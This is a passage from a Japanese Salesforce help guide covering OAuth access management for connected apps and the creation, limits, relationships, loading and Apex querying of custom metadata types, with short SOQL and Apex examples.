[使用回数] 項目と [最終使用日] 項目は更新されます。

– OAuth 2.0 以前の OAuth アプリケーションの場合、ラップトップやデスクトップなど、使用する
各デバイスから Salesforce データへのアクセス権を付与する必要があります。デフォルトのアク
セストークン数は、接続アプリケーションあたり 5 です。アクセス権を一度付与すると、追加
デバイスでは、新しいアプリケーション (OAuth 2.0 プロトコルを使用) が自動的に許可されます。

• アプリケーションのアクセス権を取り消すには、[取り消し]をクリックします。アプリケーションを取
り消すと、アプリケーションは Salesforce データにアクセスできなくなります。

重要: Salesforce データに特定のアプリケーションがアクセスできないようにするには、そのアプリ
ケーションのすべてのアクセストークンを取り消します。

アプリケーションアクセス要求の承認
使用中の外部アプリケーションがSalesforceデータへのアクセスを要求しており、この要求を承認しました。
ブラウザウィンドウを閉じ、使用していたアプリケーションに戻ります。
アプリケーションアクセス要求の拒否

関連トピック:

接続アプリケーションの OAuth アクセスの管理
アプリケーションアクセス要求の承認
アプリケーションアクセス要求の拒否
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アプリケーションアクセス要求の承認

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
すべてのエディション

ユーザ権限

OAuth アプリケーションを
管理、作成、編集、およ
び削除する
• 「接続アプリケーショ

ンの管理」

使用中の外部アプリケーションがSalesforceデータへのアクセスを要求しており、
この要求を承認しました。ブラウザウィンドウを閉じ、使用していたアプリケー
ションに戻ります。
リモートアクセスアプリケーションにアクセス権を付与した後、そのアクセス
権を取り消すには、個人情報に移動します。
1. [個人設定] から、[クイック検索] ボックスに「高度なユーザの詳細」と入力

し、[高度なユーザの詳細] を選択します。結果がありませんか? [クイック検
索] ボックスに「個人情報」と入力し、[個人情報] を選択します。

2. OAuth の [接続アプリケーション] セクションでは、次の操作を実行できます。
• アクセスを付与した各接続アプリケーション、アプリケーションが情報

へのアクセスを試行した回数、および最後のアクセス時間に関する情報
を表示します。

メモ:

– 1 つの接続アプリケーションが複数回表示される場合があります。
アプリケーションにアクセス権を付与するたびに、アプリケー
ションは新しいアクセストークンを取得します。更新トークンの
要求により、使用回数が増加します。また、OAuth 2.0 接続アプリ
ケーションが、範囲が異なる複数のトークンを要求すると、同じ
アプリケーションが複数回表示されます。

– 接続アプリケーションがログインできなかったために情報にアク
セスできなかった場合でも、[使用回数] 項目と [最終使用日] 項
目は更新されます。

– OAuth 2.0 以前の OAuth アプリケーションの場合、ラップトップや
デスクトップなど、使用する各デバイスからSalesforceデータへの
アクセス権を付与する必要があります。デフォルトのアクセス
トークン数は、接続アプリケーションあたり 5 です。アクセス権
を一度付与すると、追加デバイスでは、新しいアプリケーション
(OAuth 2.0 プロトコルを使用) が自動的に許可されます。

• アプリケーションのアクセス権を取り消すには、[取り消し]をクリックします。アプリケーションを取
り消すと、アプリケーションは Salesforce データにアクセスできなくなります。

重要: Salesforce データに特定のアプリケーションがアクセスできないようにするには、そのアプリ
ケーションのすべてのアクセストークンを取り消します。

関連トピック:

接続アプリケーションの OAuth アクセスの管理
アプリケーションアクセス要求の拒否
アプリケーションアクセス要求
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アプリケーションアクセス要求の拒否

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
すべてのエディション

ユーザ権限

OAuth アプリケーションを
管理、作成、編集、およ
び削除する
• 「接続アプリケーショ

ンの管理」

使用中の外部アプリケーションがSalesforceデータへのアクセスを要求しており、
ユーザがこのアクセスを拒否しました。Salesforce からログアウトする必要があ
ります。元のアプリケーションに戻ることができます。

関連トピック:

接続アプリケーションの OAuth アクセスの管理
アプリケーションアクセス要求の承認
アプリケーションアクセス要求

カスタムメタデータ型

カスタムメタデータ型

エディション

使用可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

Professional Edition 組織で
は、カスタムメタデータ
レコードのみをインス
トール済みパッケージの
型から作成、編集、およ
び削除できます。

内部チーム、パートナー、および顧客向けの独自の宣言型開発者フレームワー
クを作成できます。データからアプリケーションを構築する代わりに、独自の
メタデータ型で定義および駆動するアプリケーションを構築できます。メタデー
タは、各顧客の組織の設定を説明する情報です。
カスタムメタデータは、カスタマイズ可能、リリース可能、パッケージ化可能、
アップグレード可能なアプリケーションメタデータです。最初に、アプリケー
ションメタデータの形式を定義するカスタムメタデータ型を作成します。次に、
その型のメタデータに基づいて動作を決める再利用可能な機能を作成します。
カスタムオブジェクトやカスタム設定と同様に、カスタムメタデータ型には、
メタデータの各面を表すカスタム項目のリストがあります。公開カスタムメタ
データ型を作成したら、その型によって定義されるカスタムメタデータレコー
ドを宣言的に作成できます。公開カスタムメタデータ型をパッケージ化すると、
パッケージをインストールする顧客が各自のレコードをメタデータ型に追加で
きます。再利用可能な機能によってカスタムメタデータが読み取られ、そのデー
タを基にカスタマイズされたアプリケーション動作が行われます。
カスタムメタデータの行は、構造のカスタムオブジェクトの行に似ています。
カスタムメタデータの行は、[設定] のメタデータ API で作成、編集、削除しま
す。レコードはメタデータであるため、パッケージまたはメタデータ API ツール
を使用して移行できます。カスタムメタデータレコードは、Apex、Enterprise およ
び Partner API では参照のみです。
カスタムメタデータ型を使用すると、Apex トランザクションごとに、無制限の Salesforce オブジェクトクエリ
言語 (SOQL) のクエリを実行できます。
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カスタムメタデータ型は、次のカスタム項目のデータ型をサポートします。
• メタデータリレーション
• チェックボックス
• 日付
• 日時
• メール
• 数値
• パーセント
• 電話
• 選択リスト
• テキスト
• テキストエリア
• URL

カスタムメタデータ型を含む管理パッケージの登録者は、独自の項目をその型に追加することはできません。
その型を開発した組織のみがカスタム項目を追加できます。
カスタムメタデータ項目は管理可能です。つまり、型の開発者は、登録者組織にリリースされた後に項目値を
変更できるユーザを決定できます。
• リリース後にロック済み — その型のすべてのレコードで、レコードが作成された開発者組織でも、リリー

ス後の項目の値は不変です。
• 登録者を編集可能 — 適切な権限を持つすべてのユーザがいつでも項目の値を変更できます。開発者がリ

リースした変更では、登録者組織の値は上書きされません。
• アップグレード可能 — レコードの開発者は、新しいバージョンのカスタムメタデータパッケージをリリー

スして項目の値を変更できます。登録者は項目の値を変更できません。
カスタムメタデータ型およびレコードには名前と表示ラベルがあります。型名は、その名前空間内で一意であ
る必要があります。レコード名は、そのカスタムメタデータ型および名前空間内で一意である必要がありま
す。
カスタムメタデータレコードは保護できます。開発者が管理パッケージ内で保護レコードをリリースした場
合、それらのレコードへのアクセスは特定の方法で制限されます。
• カスタムメタデータレコードと同じ管理パッケージ内にあるコードは、レコードを参照できます。
• カスタムメタデータ型と同じ管理パッケージ内にあるコードは、その型に属するレコードを参照できます。
• その型または保護レコードを含まない管理パッケージ内のコードは、保護レコードを参照できません。
• 登録者が作成したコードおよび未管理パッケージ内にあるコードは、保護レコードを参照できません。
• 開発者は、保護レコードをパッケージアップグレードでのみ変更できます。登録者は、保護レコードの参

照および変更を行うことはできません。保護レコードの開発者名をリリース後に変更することはできませ
ん。

組織で保護カスタムメタデータレコードを作成した場合は、独自のコード、未管理パッケージのコード、およ
びその型を定義する管理パッケージのコードによってのみアクセスできます。
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保護レコードと同じアクセス保護を適用して、カスタムメタデータ型を保護することもできます。型を保護か
ら公開に変更した場合、その保護レコードは保護されたままで、それ以外のすべてのレコードが公開されま
す。[設定] を使用して保護された型のレコードを作成した場合は、デフォルトで [保護コンポーネント] チェッ
クボックスがオンになります。型を公開にすると、保護に変換することはできません。登録者は保護された型
のレコードを作成できません。

カスタムメタデータ型の制限事項

エディション

使用可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

Professional Edition 組織で
は、カスタムメタデータ
レコードのみをインス
トール済みパッケージの
型から作成、編集、およ
び削除できます。

カスタムメタデータ型を使用するときは、その特殊な動作と制限事項を認識し
ておく必要があります。
型およびレコードの更新

インストールされた管理パッケージ内にある保護された型およびレコードを
プログラムで更新することはできません。保護された型およびレコードは
パッケージアップグレードでのみ変更できます。
公開型およびレコードを Apex を使用して直接更新することはできません。
Apex からレコードを変更するには、メタデータ API をコールする必要があり
ます。

アプリケーションライフサイクル管理ツール
カスタムメタデータ型は、次のアプリケーションライフサイクル管理ツール
をサポートしません。
• バージョン管理
• Tooling API

• 開発者コンソール
ライセンス

拡張パッケージに定義されたライセンスは、パッケージにデータ型もある場
合を除いて、そのパッケージのカスタムメタデータレコードに強制適用され
ません。

SOQL

カスタムメタデータ型は、次の SOQL クエリ構文をサポートします。
SELECT fieldList [...]
FROM objectType

[USING SCOPE filterScope]
[WHERE conditionExpression]
[ORDER BY field {ASC|DESC} [NULLS {FIRST|LAST}] ]

• fieldList および conditionExpression にメタデータリレーション項目を使用できます。
• FROM に追加できるのは 1 つのオブジェクトのみです。
• 次の演算子を使用できます。

– IN および NOT IN

– =、>、>=、<、<=、!=

– LIKE  (ワイルドカードを含む)

– AND
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• リレーション以外の項目にのみ ORDER BY を使用できます。
• リレーション以外の複数の項目で ORDER BY、ASC、および DESC を使用できます。
• ORDER BY は、並び替えられる項目が選択済みの項目の場合にのみ使用できます。
• メタデータリレーション項目では、すべての標準リレーションクエリがサポートされています。

保護されたカスタムメタデータ型
登録者がカスタムメタデータレコードをインストール済みの保護されたカスタムメタデータ型に追加する
ことはできません。登録者がカスタムメタデータレコードを作成できるようにするには、そのカスタムメ
タデータ型が公開されている必要があります。
メタデータ API は、カスタムメタデータレコードではなく、登録者組織の保護されたカスタムエンティティ
定義を返します。

キャッシュ
カスタムメタデータレコードは、最初の読み取り要求後に型レベルでキャッシュされます。キャッシュに
より、後続の要求のパフォーマンスが向上します。メタデータが更新されるときに実行中の要求は、最新
のメタデータを受け取りません。

グローバル選択リスト
グローバル選択リストは、カスタムメタデータ型ではサポートされません。sObject 選択リストのみを使用
できます。

選択リストおよび管理パッケージ
• 管理パッケージには、無効な値を含む選択リスト項目を設定したカスタムメタデータ型を追加できます

が、そのパッケージのアップロードはできません。パッケージをアップロードするには、選択リスト値
を削除するか、再度有効にします。

• 選択リスト項目を使用するカスタムメタデータ型が含まれたリリース済み管理パッケージの登録者は、
その選択リストから値を追加、削除、無効化できません。

• 選択リスト項目を使用するカスタムメタデータ型が含まれた管理パッケージをリリースする開発者は、
選択リスト値を追加できますが、削除や無効化はできません。
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カスタムメタデータの制限

エディション

使用可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

Professional Edition 組織で
は、カスタムメタデータ
レコードのみをインス
トール済みパッケージの
型から作成、編集、およ
び削除できます。

カスタムメタデータ型およびレコードの次の要件を認識しておく必要がありま
す。

最大数説明

制限なし1 回の Apex トランザクションのSOQLク
エリ

10 MB組織あたりのカスタムメタデータ *

10 MB認定管理パッケージあたりのカスタム
メタデータ * メモ: インストールした認定管理

パッケージのカスタムメタデー
タレコードは、組織の制限にカ
ウントされません。他方、作成
するカスタムメタデータレコー
ドは、制限にカウントされます。
このルールは、レコードを独自
のカスタムメタデータ型から作
成するか、認定管理パッケージ
の型から作成するかに関係なく
適用されます。

100カスタムメタデータ型またはレコード
あたりの項目

100。この数は、組織で開発されたデー
タ型と、管理および非管理パッケージ

組織あたりのカスタムメタデータ型

からインストールされたデータ型の合
計です。
1,000説明項目あたりの文字数
50,0001 回のトランザクションで返されるレ

コード

* レコードサイズは、各項目に使用される実際のストレージではなく、各項目のデータ型の最大項目サイズに
基づきます。カスタムメタデータレコードに項目を追加するときは、適切なデータ型を使用し、データに必要
な量を上限とする文字数を指定します。キャッシュされるデータの制限に達しないようにするためです。たと
えば、米国の社会保障番号 (SSN) 項目を作成する場合は、[テキスト] データ型を選択して、文字数に 9 を指定
します。[テキストエリア]を選択すれば、入力する文字数に関係なく、各レコードの使用数に 255 文字が加算
されます。
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カスタムメタデータ型およびレコードの作成、編集、および削除

エディション

使用可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

Professional Edition 組織で
は、カスタムメタデータ
レコードのみをインス
トール済みパッケージの
型から作成、編集、およ
び削除できます。

[設定] を使用して、カスタムメタデータ型およびレコードを宣言して作成、更
新、削除できます。メタデータ APIを使用してこれらのタスクをプログラムで実
行できます。
カスタムメタデータ型のプログラムでの作成および管理に関する詳細は、『メ
タデータ API 開発者ガイド』の「カスタムメタデータ型 (CustomObject)」を参照し
てください。

カスタムメタデータ型を宣言して定義
Salesforce UI を使用して、カスタムメタデータ型を宣言して作成および更新し
ます。
カスタムメタデータレコードを宣言して追加または編集
[設定] からカスタムメタデータレコードを宣言して追加、変更、削除できま
す。
カスタムメタデータリレーション
カスタムメタデータリレーションでは、オブジェクトに関する追加のメタ
データを提供し、さまざまなカスタムメタデータ型を直接比較できます。
Custom Metadata Loader を使用してレコードを読み込みまたは更新
Custom Metadata Loader を使用して、.csv ファイルからカスタムメタデータ型
のレコードを一括読み込みまたは更新します。
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カスタムメタデータ型を宣言して定義

エディション

使用可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

Professional Edition 組織で
は、カスタムメタデータ
レコードのみをインス
トール済みパッケージの
型から作成、編集、およ
び削除できます。

ユーザ権限

カスタムメタデータ型を
作成または編集する
• 「Apex 開発」

Salesforce UI を使用して、カスタムメタデータ型を宣言して作成および更新しま
す。
1. [設定] で[「カスタムメタデータ型」]を検索します。
2. すべてのカスタムメタデータ型ページで、[新規カスタムメタデータ型] をク

リックするか、表示ラベル名をクリックして既存のカスタムメタデータ型を
変更します。

3. 次の項目に入力します。

説明項目

この名前は、ユーザインターフェースページのデータ型
を参照します。

表示ラベル

データ型の複数形の表示ラベル。このデータ型のタブを
作成した場合、この名前がタブに使用されます。

表示ラベル(複数
形)

組織のデフォルト言語で必要な場合は、表示ラベルの先
頭が「a」ではなく「an」かどうかを示します。

母音で始まる場
合はチェック

API を使用しているときにオブジェクトの参照に使用する
一意の名前。管理パッケージでは、この名前により、パッ
ケージのインストール時に名前が競合することを防ぎま
す。英数字とアンダースコアのみを使用します。名前は
英字で開始し、スペースを含めることはできません。ア
ンダースコアを末尾に使用したり、2 回連続で使用したり
はできません。

オブジェクト名

オブジェクトの説明 (省略可能)。説明

データ型を参照できるのは、次のユーザです。表示
• 公開 — だれでも参照できます。
• 保護 — 管理パッケージの一部としてデータ型がインス

トールされている場合、その管理パッケージ内の Apex

コードのみで使用できます。

4. [保存] をクリックします。
5. カスタム項目で、[新規] をクリックし、項目のカスタムメタデータ型への追加を開始します。他のカスタ

ム項目と同様に、選択リストやメタデータリレーションなどの、項目に含まれる情報の種別を指定する必
要があります。項目ごとに、[項目管理可能性]値を選択して、今後項目を変更できるユーザを指定します。
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メモ:  Winter '15 リリースより前に作成されたカスタムメタデータ型の場合、自動的にレイアウトが設定さ
れません。UI を使用してこのカスタムメタデータ型のレコードを追加、更新、または参照する前に、編
集可能に設定するすべての項目が含まれるレイアウトを追加する必要があります。すべてのカスタムメ
タデータ型ページで、カスタムメタデータ型をクリックします。ページレイアウトで [新規] をクリック
します。カスタムメタデータ型を管理パッケージとしてリリースする場合は、最初に追加する必要のあ
る項目をすべて追加します。顧客が管理パッケージをダウンロード後は、アップグレードで項目をレイ
アウトに追加できないので、手動でレイアウトを変更する必要があります。
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カスタムメタデータレコードを宣言して追加または編集

エディション

使用可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

Professional Edition 組織で
は、カスタムメタデータ
レコードのみをインス
トール済みパッケージの
型から作成、編集、およ
び削除できます。

ユーザ権限

カスタムメタデータレ
コードを作成または変更
する
• 「アプリケーションの

カスタマイズ」

[設定] からカスタムメタデータレコードを宣言して追加、変更、削除できます。
1. [設定] で[「カスタムメタデータ型」]を検索します。
2. [すべてのカスタムメタデータ型] ページで、レコードを追加または変更する

カスタムメタデータ型の横にある [レコードの管理] をクリックします。
3. カスタムメタデータレコードのリストで、[新規] をクリックするか、[編集]

をクリックして既存のカスタムメタデータレコードを変更します。
4. 項目に入力します。[保護コンポーネント] チェックボックスで、レコードを

保護にするかどうかを指定します。保護レコードは、レコードまたはその関
連カスタムメタデータ型と同じ名前空間にあるコード (自身で作成したコー
ド、未管理パッケージ内のコード、保護レコードまたはそのカスタムメタ
データ型と同じ管理パッケージ内のコード) のみにアクセス可能です。

5. [保存] をクリックします。
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カスタムメタデータリレーション

エディション

使用可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

Professional Edition 組織で
は、カスタムメタデータ
レコードのみをインス
トール済みパッケージの
型から作成、編集、およ
び削除できます。

カスタムメタデータリレーションでは、オブジェクトに関する追加のメタデー
タを提供し、さまざまなカスタムメタデータ型を直接比較できます。
Salesforce の他のリレーションと同様に、カスタムメタデータリレーションには
特定のドメインがあります。型に関するメタデータリレーション項目を作成す
ると、その項目を別のカスタムメタデータ型、EntityDefinition オブジェクト、ま
たは FieldDefinition オブジェクトに関連付けることができます。
リレーション項目を持つカスタムメタデータ型のレコードを作成する場合は、
レコードが関連付けられる特定の項目、オブジェクト、またはカスタムメタデー
タ型を選択します。
EntityDefinition ドメインのリレーション項目の値は、次の条件を満たすカスタム
オブジェクトまたは標準オブジェクトです。
• カスタム項目をサポートする
• Apex トリガをサポートする
• カスタムレイアウトをサポートする
• ToDo や行動などの活動種別ではない
• ユーザオブジェクトではない
• SignupRequest などの Trialforce オブジェクトではない
リレーション項目に EntityDefinition オブジェクトを新しい値として設定するには、
組織にオブジェクトへのアクセス権が必要です。ただし、組織に既存のレコードのリレーション項目オブジェ
クトへのアクセス権がない場合でも、レコードを編集し、他の項目値を変更できます。有効なライセンスがな
いパッケージにレコードが含まれている場合などでは、組織にアクセス権がない場合があります。

カスタムメタデータリレーション項目の作成
カスタムメタデータ型間、エンティティ定義間、または項目定義間にリレーションを作成することは、カ
スタムメタデータ型に別のカスタム項目を作成するようなものです。
カスタムメタデータリレーションの考慮事項
カスタムメタデータリレーションを使用開始する前に、次の事項を留意します。
メタデータリレーション項目に対するビューの絞り込み
カスタムメタデータ型のリレーション項目にビューと検索条件を作成する場合は、検索条件値の入力につ
いて次のガイドラインを使用します。
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カスタムメタデータリレーション項目の作成

エディション

使用可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

Professional Edition 組織で
は、カスタムメタデータ
レコードのみをインス
トール済みパッケージの
型から作成、編集、およ
び削除できます。

ユーザ権限

カスタムメタデータリ
レーションを作成する
• 「アプリケーションの

カスタマイズ」

カスタムメタデータ型間、エンティティ定義間、または項目定義間にリレーショ
ンを作成することは、カスタムメタデータ型に別のカスタム項目を作成するよ
うなものです。
1. カスタムメタデータ型の詳細ページで、[カスタム項目] の [新規] をクリック

します。
2. 項目種別に [メタデータリレーション] を選択します。
3. 有効なカスタムメタデータ型を何に関連付けるかを選択します。

• 別のカスタムメタデータ型。
• エンティティ定義 — 標準オブジェクトまたはカスタムオブジェクト。
• 項目定義 — エンティティ定義オブジェクトの標準項目またはカスタム項

目。

カスタムメタデータ型でレコードを作成する場合は、特定のカスタムメタデー
タレコード、オブジェクト、または項目を選択します。レコードを保存すると、
リレーション項目は関連カスタムメタデータ型、オブジェクト、または項目の
[設定] ページへのリンクとして表示されます。オブジェクトを参照する権限がな
い場合は、項目はリンクのないテキストとして表示されます。
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カスタムメタデータリレーションの考慮事項

エディション

使用可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

Professional Edition 組織で
は、カスタムメタデータ
レコードのみをインス
トール済みパッケージの
型から作成、編集、およ
び削除できます。

カスタムメタデータリレーションを使用開始する前に、次の事項を留意します。
• カスタムメタデータリレーションは、通常のリレーションと同じ方法でクエ

リできます。
• 保護されたカスタムメタデータ型に公開カスタムメタデータ型を関連付ける

ことはできません。保護されたカスタムメタデータ型は公開カスタムメタ
データに関連付けることができます。

• 保護されたカスタムメタデータレコードに公開カスタムメタデータレコード
を関連付けることはできません。保護されたカスタムメタデータレコードは
公開カスタムメタデータレコードに関連付けることができます。

• SOQLを使用してカスタムメタデータ型をクエリすると、アクセス権のあるオ
ブジェクトを参照するレコードのみが結果に表示されます。ただし、[設定]

を使用した同じようなクエリやメタデータ API を使用すると、アクセスでき
ないオブジェクトを参照するレコードを含む、すべての関連レコードが表示
されます。
たとえば、EntityDefinition オブジェクトに関連付けられたリレーション項目を
含むカスタムメタデータ型があるとします。そのカスタムメタデータレコー
ドの一部では、リレーション項目はリードオブジェクトを参照します。カス
タムメタデータ型およびそのレコードをアクセスする権限はあり、リードオ
ブジェクトのアクセス権限はありません。[設定] またはメタデータ APIを使用
してカスタムメタデータ型へのクエリを実行すると、結果にはリードオブジェクトを参照するレコードが
含まれます。ただし、Apex コードで類似のSOQLクエリを使用する場合、結果にはこれらのレコードが含ま
れません。
これらの方法の動作が異なるため、参照するオブジェクトへの明示的なアクセス権の必要なしに、カスタ
ムメタデータ型レコードを管理できます。

• 組織でアクセスできないオブジェクトを参照するリレーション項目を設定した、カスタムメタデータ型レ
コードが含まれるパッケージを、インストールすることはできません。インストールエラーメッセージに
は、アクセス権が必要なオブジェクトのリストが含まれます。

• 有効なライセンスのないカスタムオブジェクトが含まれるパッケージは、インストールできます。ただし、
オブジェクトに対するライセンスを入手するまで、ユーザの SOQL クエリにこれらのレコードは表示されま
せん。

• [設定] でオブジェクトを参照する権限がない場合、そのオブジェクトを参照するリレーション項目値はリ
ンクではなく、プレーンテキストで表示されます。
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メタデータリレーション項目に対するビューの絞り込み

エディション

使用可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

Professional Edition 組織で
は、カスタムメタデータ
レコードのみをインス
トール済みパッケージの
型から作成、編集、およ
び削除できます。

カスタムメタデータ型のリレーション項目にビューと検索条件を作成する場合
は、検索条件値の入力について次のガイドラインを使用します。
値リストが長くて扱いにくい可能性があるので、[設定] にルックアップウィンド
ウは表示されません。次のガイドラインを使用して、[追加項目別に絞り込み] セ
クションに検索条件を指定する場合に入力する値を決定します。
EntityDefinition リレーション項目で絞り込んで、特定のオブジェクトを参照する
レコードを検索する

1. 子のメタデータリレーション項目を選択します。
2. 演算子を選択します。
3. 検索条件値に、参照オブジェクトのオブジェクト名を入力します。カス

タムオブジェクトのオブジェクト名を検索するには、その [設定] 管理ペー
ジに移動します。標準オブジェクトの場合は、その API 参照名を使用しま
す。

FieldDefinition リレーション項目で絞り込んで、特定の項目を参照するレコード
を検索する

1. 子のメタデータリレーション項目を選択します。
2. 演算子を選択します。
3. 検索条件値に、参照項目の項目名を入力します。カスタム項目の項目名を検索するには、その [設定] 管

理ページに移動します。
4. 制御エンティティの定義に個別の追加検索条件を指定します。項目定義リレーション項目を絞り込むと

きには両方の検索条件が必要です。
リレーション項目で絞り込んで、別のカスタムメタデータ型のレコードを参照するレコードを検索する

1. 子のメタデータリレーション項目を選択します。
2. 演算子を選択します。
3. 検索条件値に、親のレコードのカスタムメタデータ型の名前を入力します。カスタムメタデータレコー

ドの名前を検索するには、その詳細ページに移動します。
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Custom Metadata Loader を使用してレコードを読み込みまたは更新

エディション

使用可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

Professional Edition 組織で
は、カスタムメタデータ
レコードのみをインス
トール済みパッケージの
型から作成、編集、およ
び削除できます。

ユーザ権限

カスタムメタデータレ
コードを作成する
• 「アプリケーションの

カスタマイズ」

Custom Metadata Loader を
使用する
• 「Custom Metadata

Loader」

Custom Metadata Loader を使用して、.csv ファイルからカスタムメタデータ型の
レコードを一括読み込みまたは更新します。
Custom Metadata Loader を使用すると、1 つのコールで最大 200 件のレコードを読
み込みまたは更新できます。
1. GitHub からツールをダウンロードし、ワークベンチを使用してパッケージを

組織にリリースします。ディレクトリ自体を zip ファイルにするのではなく、
custom_md_loaderディレクトリの内容から .zipファイルを作成します。

2. カスタムメタデータ型の項目 API 名を含むヘッダーを使用して、.csvファイ
ルを作成します。[表示ラベル] 項目または [開発者名] 項目が必要です。例に
ついては、ダウンロードに含まれる sample.csv を参照してください。組
織に名前空間が含まれる場合、ヘッダーに名前空間のプレフィックスを追加
します。既存のカスタムメタデータレコードを更新するには、[表示ラベル]

項目または [開発者名] 項目を使用して指定します。
3. [設定] から、「Custom Metadata Loader」権限を自分自身を含む適切なユーザに

割り当てます。
4. アプリケーションピッカーから [カスタムメタデータローダ]を選択します。
5. [カスタムメタデータローダ] タブをクリックします。リモートサイトの設定

をまだ行っていない場合は、行うように要求されます。
6. .csv ファイルをアップロードし、対応するカスタムメタデータ型を選択し

ます。
7. [カスタムメタデータを作成/更新]をクリックして .csvファイルからレコー

ドを一括読み込みするか、既存のレコードを更新します。ファイルに重複し
た [表示ラベル] エントリまたは [開発者名] エントリがある場合は、最後のエ
ントリが新規または更新されたレコードになります。
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カスタムメタデータレコードをプログラムでアクセス

エディション

使用可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

Professional Edition 組織で
は、カスタムメタデータ
レコードのみをインス
トール済みパッケージの
型から作成、編集、およ
び削除できます。

SOQL を使用して、カスタムメタデータ型にアクセスしたり、これらのデータ型
のレコードのAPI名を取得したりします。Apex、パートナーAPI、およびエンター
プライズ API では、カスタムメタデータに対して DML 操作を実行できません。
カスタムメタデータ型__mdt sObject についての詳細は、『Salesforce および Force.com

のオブジェクトリファレンス』の「カスタムメタデータ型__mdt」を参照してく
ださい。
次の例では、各自の名前空間にあるカスタムメタデータ型
MyCustomMetadataType__mdt の Apex 変数 custMeta を宣言します。

MyCustomMetadataType__mdt custMeta;

各自の名前空間ではなく、their_ns名前空間にあるカスタムメタデータ型 TheirCustomMetadataType__mdt

の custMeta 変数を宣言します。
their_ns__TheirCustomMetadataType__mdt custMeta;

次の例は、Threat_Tier_Mapping カスタムメタデータ型のすべてのレコードの標準項目およびカスタム項
目を返し、その項目の一部にアクセスする単純なクエリです。
Threat_Tier_Mapping__mdt[] threatMappings = [SELECT MasterLabel, QualifiedApiName,
Field_Mapping__c ,Minimum_Support_Level__c FROM Threat_Tier_Mapping__mdt];

for (Threat_Tier_Mapping__mdt threatMapping : threatMappings) {
System.debug(threatMapping.MasterLabel + ‘: ‘ +

threatMapping.Field_Mapping__c + ‘ from ‘ +
threatMapping.Team_Building_to_SFA_Field_Mapping__c + ‘ to ‘
threatMapping.Minimum_Support_Level__c);

}

SOQL よりも Schema.SObjectDescribeResult のようなエンティティにするには、Apex クラス
vacations.ThreatTierMappingDescribeResult で、
vacations__ThreatTierMappingDescribeResult__mdt からクエリされた情報をカプセル化します。続
いて、次のようなメソッドを使用して vacations.Vacations クラスを作成します。
vacations.ThreatTierMappingDescribeResult describeThreatTierMappings(String qualifiedApiName)
{

Threat_Tier_Mapping__mdt threatMapping = [SELECT <fields> FROM Threat_Tier_Mapping__mdt
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WHERE QualifiedApiName = :qualifiedApiName];
return new ThreatTierMappingDescribeResult(<fieldValues>);

}

前述の例では、<fields>は describeに追加する項目を参照し、<fieldValues>はそれらの項目の値を参
照します。
次の例では、別のカスタムメタデータ型 Team_Building_to_SFA_Field_Mapping__mdt を参照するメタ
データリレーションを使用して単純な右外部結合を実行します。
ThreatTierMapping threatMapping =

[SELECT MasterLabel, Team_Building_to_SFA_Field_Mapping__r.MasterLabel FROM
Threat_Tier_Mapping__mdt WHERE QualifiedApiName=‘Easy_Vacations’];

System.debug(threatMapping.MasterLabel + ‘ is part of ‘ +
Team_Building_to_SFA_Field_Mapping__r.MasterLabel);

次の例は、EntityDefinition から開始される左外部結合を示します。このクエリでは、
Team_Building_to_SFA_Field_Mapping__mdt の Team_Building_Object__c と呼ばれるリレーション
項目が使用されます。このリレーション項目の子リレーション名は Field_Mappings_From です。
for (EntityDefinition entity : allObjects) {

System.debug(‘Processing mappings for: ‘ + entity.QualifiedApiName);
for (Team_Building_to_SFA_Field_Mapping__mdt fieldMapping : entity.FieldMappingsFrom__r)

{
System.debug(‘ Field ‘ + fieldMapping.Team_Building_Field__c +

‘ has mapping ‘ + fieldMapping.QualifiedApiName);
}

}

カスタムメタデータ型およびレコードのパッケージ化

エディション

使用可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

Professional Edition 組織で
は、カスタムメタデータ
レコードのみをインス
トール済みパッケージの
型から作成、編集、およ
び削除できます。

カスタムメタデータ型およびレコードは、未管理パッケージ、管理パッケージ、
または管理パッケージ拡張にパッケージ化できます。続いて、そのパッケージ
を、Professional Edition、Developer Edition、Enterprise Edition、Performance Edition、Unlimited

Edition、および Database.com Edition 組織にインストールできます。
Force.com ユーザインターフェースを使用して、カスタムメタデータ型およびレ
コードをパッケージに追加できます。[設定] から、[クイック検索] ボックスに
